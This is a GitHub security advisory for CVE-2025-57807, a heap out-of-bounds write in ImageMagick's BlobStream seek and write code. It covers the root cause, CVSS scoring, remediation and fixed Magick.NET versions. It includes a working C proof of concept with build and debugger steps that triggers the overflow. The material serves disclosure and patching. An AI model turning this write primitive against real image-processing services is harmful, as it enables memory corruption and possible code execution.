GHSA-23hg-53q6-hqfg
ImageMagick BlobStream Forward-Seek Under-Allocation
Details
**Reporter:** Lumina Mescuwa **Product:** ImageMagick 7 (MagickCore) **Component:** `MagickCore/blob.c` (Blob I/O - BlobStream) **Tested:** 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI **Impact:** Heap out-of-bounds **WRITE** (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution
---
## Executive Summary
For memory-backed blobs (**BlobStream**), [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) permits advancing the stream **offset** beyond the current end without increasing capacity. The subsequent [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) then expands by **`quantum + length`** (amortized) instead of **`offset + length`**, and copies to `data + offset`. When `offset ≫ extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.
---
## Affected Scope
- **Versions confirmed:** 7.1.2-0, 7.1.2-1 - **Architectures:** Observed on macOS arm64; architecture-agnostic on LP64 - Paths: MagickCore blob subsystem — **BlobStream** ([`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) and [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)). - **Not required:** External delegates; special policies; integer wraparound
---
## Technical Root Cause
**Types (LP64):** `offset: MagickOffsetType` (signed 64-bit) `extent/length/quantum: size_t` (unsigned 64-bit) `data: unsigned char*`
**Contract mismatch:**
- [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) (BlobStream) updates `offset` to arbitrary positions, including past end, **without** capacity adjustment. - [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) tests `offset + length >= extent` and grows **by** `length + quantum`, doubles `quantum`, reallocates to `extent + 1`, then: ``` q = data + (size_t)offset; memmove(q, src, length); ``` There is **no guarantee** that `extent ≥ offset + length` post-growth. With `offset ≫ extent`, `q` is beyond the allocation.
**Wrap-free demonstration:** Initialize `extent=1`, write one byte (`offset=1`), seek to `0x10000000` (256 MiB), then write 3–4 bytes. Growth remains << `offset + length`; the copy overruns the heap buffer.
---
## Exploitability & Reachability
- **Primitive:** Controlled bytes written at a controlled displacement from the buffer base. - **Reachability:** Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract **permits** it, thus creating a latent sink for first- or third-party encoders/writers. - **Determinism:** Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.
---
## Impact Assessment
- **Integrity:** High - adjacent object/metadata overwrite plausible. - **Availability:** High - reliably crashable (ASan and non-ASan). - **Confidentiality:** High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process. - **RCE plausibility:** Typical of heap OOB writes in long-lived image services; allocator/layout dependent.
---
## CVSS v3.1 Rationale (9.8)
- **AV:N / PR:N / UI:N** - server-side image processing is commonly network-reachable without auth or user action. - **AC:L** - a single forward seek + write suffices; no races or specialized state. - **S:U** - corruption localized to the ImageMagick process. - **C:H / I:H / A:H** - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).
_Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics._
---
## Violated Invariant
> **Before copying `length` bytes at `offset`, enforce `extent ≥ offset + length` with overflow-checked arithmetic.**
The BlobStream growth policy preserves amortized efficiency but fails to enforce this **per-write** safety invariant.
---
## Remediation (Principle)
In [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) (BlobStream case):
1. **Checked requirement:** `need = (size_t)offset + length;` → if `need < (size_t)offset`, overflow → fail. 2. **Ensure capacity ≥ need:** `target = MagickMax(extent + quantum + length, need);` (Optionally loop, doubling `quantum`, until `extent ≥ need` to preserve amortization.) 3. **Reallocate to `target + 1` before copying;** then perform the move.
**Companion hardening (recommended):**
- Document or restrict [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant. - Centralize blob arithmetic in checked helpers. - Unit tests: forward-seek-then-write (success and overflow-reject).
---
## Regression & Compatibility
- **Behavior change:** Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail). - **Memory profile:** Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.
---
## Vendor Verification Checklist
- Reproduce with a minimal in-memory BlobStream harness under ASan. - Apply fix; verify `extent ≥ offset + length` at all write sites. - Add forward-seek test cases (positive/negative). - Audit other growth sites (`SetBlobExtent`, stream helpers). - Clarify BlobStream seek semantics in documentation. - Unit test: forward seek to large offset on **BlobStream** followed by 1–8 byte writes; assert either growth to `need` or clean failure.
---
# PoC / Reproduction / Notes
## Environment
- **OS/Arch:** macOS 14 (arm64) - **Compiler:** clang-17 with AddressSanitizer - **ImageMagick:** Q16-HDRI - **Prefix:** `~/opt/im-7.1.2-0` - **`pkg-config`:** from PATH (no hard-coded `/usr/local/...`)
---
## Build ImageMagick 7.1.2-0 (static, minimal)
```bash ./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \ --disable-shared --enable-static --without-modules \ --without-magick-plus-plus --disable-openmp --without-perl \ --without-x --without-lqr --without-gslib
make -j"$(sysctl -n hw.ncpu)" make install
"$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt ```
---
## Build & Run the PoC (memory-backed BlobStream)
**`poc.c`:** _Uses private headers (`blob-private.h`) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage._
```c // poc.c
#include <stdio.h>
#include <stdlib.h>
#include <MagickCore/MagickCore.h>
#include <MagickCore/blob.h>
#include "MagickCore/blob-private.h"
int main(int argc, char **argv) {
MagickCoreGenesis(argv[0], MagickTrue);
ExceptionInfo *e = AcquireExceptionInfo();
ImageInfo *ii = AcquireImageInfo();
Image *im = AcquireImage(ii, e);
if (!im) return 1;
// 1-byte memory blob → BlobStream
unsigned char *buf = (unsigned char*) malloc(1);
buf[0] = 0x41;
AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0
SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf
// Step 1: write 1 byte (creates BlobInfo + sets offset=1)
unsigned char A = 0x42;
(void) WriteBlob(im, 1, &A);
fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n",
(long long) TellBlob(im), (size_t) GetBlobSize(im));
// Step 2: seek way past end without growing capacity
const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB
(void) SeekBlob(im, big, SEEK_SET);
fprintf(stderr, "[+] after seek: off=%lld len=%zu\n",
(long long) TellBlob(im), (size_t) GetBlobSize(im));
// Step 3: small write → reallocation grows by quantum+length, not to offset+length
// memcpy then writes to data + offset (OOB)
const unsigned char payload[] = "PWN";
(void) WriteBlob(im, sizeof(payload), payload);
// If we get here, it didn't crash
fprintf(stderr, "[-] no crash; check ASan flags.\n");
(void) CloseBlob(im);
DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);
MagickCoreTerminus();
return 0;
} ```
---
`run:`
```bash # Use the private prefix for pkg-config export PKG_CONFIG_PATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH"
# Strict ASan for crisp failure export ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0'
# Compile (static link pulls transitive deps via --static) clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \ $(pkg-config --cflags MagickCore-7.Q16HDRI) \ $(pkg-config --static --libs MagickCore-7.Q16HDRI)
# Execute and capture ./poc 2>&1 | tee asan.log ```
**Expected markers prior to the fault:**
``` [+] after 1 byte: off=1 len=1 [+] after seek: off=268435456 len=1 ```
An ASan **WRITE** crash in [`WriteBlob`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) follows (top frames: `WriteBlob blob.c:<line>`, then `_platform_memmove` / `__sanitizer_internal_memmove`).
---
## Debugger Verification (manual)
LLDB can be used to snapshot the invariants; ASan alone is sufficient.
``` lldb ./poc (lldb) settings set use-color false (lldb) break set -n WriteBlob (lldb) run
# First stop (prime write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) continue
# Second stop (post-seek write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length (lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset)
# Into the fault; if inside memmove (no locals): (lldb) bt (lldb) frame select 1 (lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum ```
**Expected at second stop:** `type = BlobStream` · `offset ≈ 0x10000000` (256 MiB) · `length ≈ 3–4` · `extent ≈ 64 KiB` (≪ `offset + length`) · `quantum ≈ 128 KiB` · `mapped = MagickFalse` · `data + offset` far beyond base; next `continue` crashes in `_platform_memmove`. ---
## Credits
**Reported by:** Lumina Mescuwa
---
Are you affected?
Enter the version of the package you're using.
Affected packages
0 Fixed in: 14.8.2 dotnet add package Magick.NET-Q16-x64 --version 14.8.2 0 Fixed in: 14.8.2 dotnet add package Magick.NET-Q8-x64 --version 14.8.2 0 Fixed in: 14.8.2 dotnet add package Magick.NET-Q16-HDRI-x64 --version 14.8.2 0 Fixed in: 14.8.2 dotnet add package Magick.NET-Q8-OpenMP-x64 --version 14.8.2 0 Fixed in: 14.8.2 dotnet add package Magick.NET-Q16-HDRI-OpenMP-x64 --version 14.8.2 0 Fixed in: 14.8.2 dotnet add package Magick.NET-Q16-OpenMP-x64 --version 14.8.2 0 Fixed in: 14.8.2 dotnet add package Magick.NET-Q8-arm64 --version 14.8.2 0 Fixed in: 14.8.2 dotnet add package Magick.NET-Q16-arm64 --version 14.8.2 0 Fixed in: 14.8.2 dotnet add package Magick.NET-Q16-OpenMP-arm64 --version 14.8.2 0 Fixed in: 14.8.2 dotnet add package Magick.NET-Q8-OpenMP-arm64 --version 14.8.2 0 Fixed in: 14.8.2 dotnet add package Magick.NET-Q16-HDRI-OpenMP-arm64 --version 14.8.2 0 Fixed in: 14.8.2 dotnet add package Magick.NET-Q16-HDRI-arm64 --version 14.8.2 References
- https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-23hg-53q6-hqfg [WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2025-57807 [ADVISORY]
- https://github.com/ImageMagick/ImageMagick/commit/077a417a19a5ea8c85559b602754a5b928eef23e [WEB]
- https://github.com/ImageMagick/ImageMagick [PACKAGE]
- https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html [WEB]